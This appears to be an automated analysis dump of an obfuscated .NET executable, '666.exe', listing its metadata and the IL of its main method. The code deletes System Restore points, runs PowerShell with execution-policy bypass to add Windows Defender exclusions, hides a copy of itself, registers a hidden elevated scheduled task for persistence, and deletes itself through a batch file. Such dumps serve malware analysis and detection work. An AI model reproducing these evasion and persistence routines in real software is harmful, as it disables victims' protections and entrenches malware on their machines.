360c3f9766c9f639e4c97982fbaca710

PE Detect: PeReader OK (file layout)

666.exe

666.exe

System.Void x&626&&;xx::60x66x#;&x()

666.exe

ModuleDef

Windows

v4.0.30319

512

<null>

666

1.0.0.0

<null>

False

<null>

<null>

547

System.Void x&626&&;xx::60x66x#;&x()

318

call System.Boolean x&626&&;xx::x7x226042&() brtrue IL_0010: ldsfld System.String ;&4#;x&4x;::x266&&&&a3 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String ;&4#;x&4x;::x266&&&&a3 ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un IL_0096: call System.Boolean x&626&&;xx::xxxxx;4##6() ldsfld System.Collections.Generic.List`1<System.String> ;&4#;x&4x;::#&2&6xx;18 callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.0 <null> br IL_0070: ldloca.s V_0 ldloca.s V_0 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.1 <null> ldnull <null> ldftn System.Void x&626&&;xx::4#6&2&64&x(System.Object) newobj System.Void System.Threading.ParameterizedThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ParameterizedThreadStart) stloc.2 <null> ldloc.2 <null> ldloc.1 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Byte[] x&626&&;xx::;xx2766#;#(System.String) callvirt System.Void System.Threading.Thread::Start(System.Object) ldloca.s V_0 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue.s IL_0045: ldloca.s V_0 leave IL_008C: call System.Void System.Windows.Forms.Application::Run() ldloca.s V_0 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> call System.Void System.Windows.Forms.Application::Run() br IL_04BD: ret call System.Boolean x&626&&;xx::xxxxx;4##6() brtrue IL_00B6: call System.Boolean x&626&&;xx::xxxxx;4##6() ldsfld System.String ;&4#;x&4x;::x266&&&&a3 call System.Boolean x&626&&;xx::&;;##2;6x6(System.String) pop <null> call System.Void x&626&&;xx::#2#7c&x#6&() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean x&626&&;xx::xxxxx;4##6() brfalse IL_0152: call System.Boolean x&626&&;xx::xxxxx;4##6() ldstr \\.\root\default ldstr systemrestore newobj System.Void System.Management.ObjectGetOptions::.ctor() newobj System.Void System.Management.ManagementClass::.ctor(System.String,System.String,System.Management.ObjectGetOptions) stloc.3 <null> ldloc.3 <null> callvirt System.Management.ManagementObjectCollection System.Management.ManagementClass::GetInstances() stloc.s V_4 ldloc.s V_4 callvirt System.Management.ManagementObjectCollection/ManagementObjectEnumerator System.Management.ManagementObjectCollection::GetEnumerator() stloc.s V_5 br IL_011E: ldloc.s V_5 ldloc.s V_5 callvirt System.Management.ManagementBaseObject System.Management.ManagementObjectCollection/ManagementObjectEnumerator::get_Current() castclass System.Management.ManagementObject stloc.s V_6 ldloc.s V_6 ldstr sequencenumber callvirt System.Object System.Management.ManagementBaseObject::get_Item(System.String) call System.UInt32 Microsoft.VisualBasic.CompilerServices.Conversions::ToUInteger(System.Object) stloc.s V_7 ldloca.s V_7 call System.String System.UInt32::ToString() call System.Int32 Microsoft.VisualBasic.CompilerServices.Conversions::ToInteger(System.String) call System.Int32 x&626&&;xx::6&x3540cx6(System.Int32) pop <null> ldloc.s V_5 callvirt System.Boolean System.Management.ManagementObjectCollection/ManagementObjectEnumerator::MoveNext() brtrue.s IL_00EB: ldloc.s V_5 leave IL_013B: leave IL_0152 ldloc.s V_5 brfalse IL_013A: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_0152: call System.Boolean x&626&&;xx::xxxxx;4##6() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0152: call System.Boolean x&626&&;xx::xxxxx;4##6() call System.Boolean x&626&&;xx::xxxxx;4##6() brfalse IL_01F0: ldsfld System.String ;&4#;x&4x;::&##x;;;0&; newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.s V_9 ldloc.s V_9 ldstr powershell.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_9 ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath ' ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) call System.String System.IO.Path::GetFullPath(System.String) ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_9 ldstr -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess ' ldsfld System.String ;&4#;x&4x;::;x&x&462;; ldstr ' call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_01F0: ldsfld System.String ;&4#;x&4x;::&##x;;;0&; dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_01F0: ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) call System.Boolean System.IO.File::Exists(System.String) brfalse IL_023C: ldc.i4 1000 ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 ldc.i4 128 callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) ldloc.s V_11 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) ldsfld System.String ;&4#;x&4x;::x266&&&&a3 call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave IL_0280: ldsfld System.String ;&4#;x&4x;::&##x;;;0&; dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0280: ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) leave IL_02B1: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_02B1: newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() newobj System.Void Microsoft.Win32.TaskScheduler.TaskService::.ctor() stloc.s V_14 ldloc.s V_14 callvirt Microsoft.Win32.TaskScheduler.TaskDefinition Microsoft.Win32.TaskScheduler.TaskService::NewTask() stloc.s V_15 newobj System.Void Microsoft.Win32.TaskScheduler.TimeTrigger::.ctor() stloc.s V_16 ldloc.s V_16 callvirt Microsoft.Win32.TaskScheduler.RepetitionPattern Microsoft.Win32.TaskScheduler.Trigger::get_Repetition() ldc.r8 1 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) callvirt System.Void Microsoft.Win32.TaskScheduler.RepetitionPattern::set_Interval(System.TimeSpan) ldloc.s V_15 callvirt Microsoft.Win32.TaskScheduler.TriggerCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Triggers() ldloc.s V_16 callvirt Microsoft.Win32.TaskScheduler.Trigger Microsoft.Win32.TaskScheduler.TriggerCollection::Add(Microsoft.Win32.TaskScheduler.Trigger) pop <null> call System.Boolean x&626&&;xx::xxxxx;4##6() brfalse IL_0308: ldloc.s V_15 ldloc.s V_15 callvirt Microsoft.Win32.TaskScheduler.TaskPrincipal Microsoft.Win32.TaskScheduler.TaskDefinition::get_Principal() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskPrincipal::set_RunLevel(Microsoft.Win32.TaskScheduler.TaskRunLevel) ldloc.s V_15 callvirt Microsoft.Win32.TaskScheduler.TaskSettings Microsoft.Win32.TaskScheduler.TaskDefinition::get_Settings() ldc.i4.1 <null> callvirt System.Void Microsoft.Win32.TaskScheduler.TaskSettings::set_Hidden(System.Boolean) ldloc.s V_15 callvirt Microsoft.Win32.TaskScheduler.ActionCollection Microsoft.Win32.TaskScheduler.TaskDefinition::get_Actions() ldsfld System.String ;&4#;x&4x;::&##x;;;0&; ldstr \ ldsfld System.String ;&4#;x&4x;::;x&x&462;; call System.String System.String::Concat(System.String,System.String,System.String) ldnull <null> ldnull <null> newobj System.Void Microsoft.Win32.TaskScheduler.ExecAction::.ctor(System.String,System.String,System.String) callvirt Microsoft.Win32.TaskScheduler.Action Microsoft.Win32.TaskScheduler.ActionCollection::Add(Microsoft.Win32.TaskScheduler.Action) pop <null> ldloc.s V_14 callvirt Microsoft.Win32.TaskScheduler.TaskFolder Microsoft.Win32.TaskScheduler.TaskService::get_RootFolder() ldsfld System.String ;&4#;x&4x;::#x#264xxax ldloc.s V_15 callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskFolder::RegisterTaskDefinition(System.String,Microsoft.Win32.TaskScheduler.TaskDefinition) pop <null> ldc.i4 3000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void x&626&&;xx::#2#7c&x#6&() ldloc.s V_14 ldsfld System.String ;&4#;x&4x;::#x#264xxax ldc.i4.1 <null> callvirt Microsoft.Win32.TaskScheduler.Task Microsoft.Win32.TaskScheduler.TaskService::FindTask(System.String,System.Boolean) stloc.s V_17 ldloc.s V_17 brfalse IL_0384: call System.String System.IO.Path::GetTempFileName() ldloc.s V_17 ldc.i4.0 <null> newarr System.String callvirt Microsoft.Win32.TaskScheduler.RunningTask Microsoft.Win32.TaskScheduler.Task::Run(System.String[]) pop <null> call System.String System.IO.Path::GetTempFileName() ldstr .bat call System.String System.String::Concat(System.String,System.String) stloc.s V_18 ldloc.s V_18 newobj System.Void System.IO.StreamWriter::.ctor(System.String) stloc.s V_19 ldloc.s V_19 ldstr @echo off callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_19 ldstr timeout 3 > NUL callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_19 ldstr CD call System.String System.Windows.Forms.Application::get_StartupPath() call System.String System.String::Concat(System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_19 ldstr DEL " call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule() callvirt System.String System.Diagnostics.ProcessModule::get_FileName() call System.String System.IO.Path::GetFileName(System.String) ldstr " /f /q call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_19 ldstr CD call System.String System.IO.Path::GetTempPath() call System.String System.String::Concat(System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) ldloc.s V_19 ldstr DEL " ldloc.s V_18 call System.String System.IO.Path::GetFileName(System.String) ldstr " /f /q call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.IO.TextWriter::WriteLine(System.String) leave IL_043D: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() ldloc.s V_19 brfalse IL_043C: endfinally ldloc.s V_19 callvirt System.Void System.IDisposable::Dispose() endfinally <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() stloc.s V_20 ldloc.s V_20 ldloc.s V_18 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) ldloc.s V_20 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_20 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_ErrorDialog(System.Boolean) ldloc.s V_20 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_20 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_20 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave IL_0492: leave IL_04A6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_21 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0492: leave IL_04A6 leave IL_04A6: leave IL_04BD ldloc.s V_14 brfalse IL_04A5: endfinally ldloc.s V_14 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave IL_04BD: ret dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_22 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04BD: ret ret <null>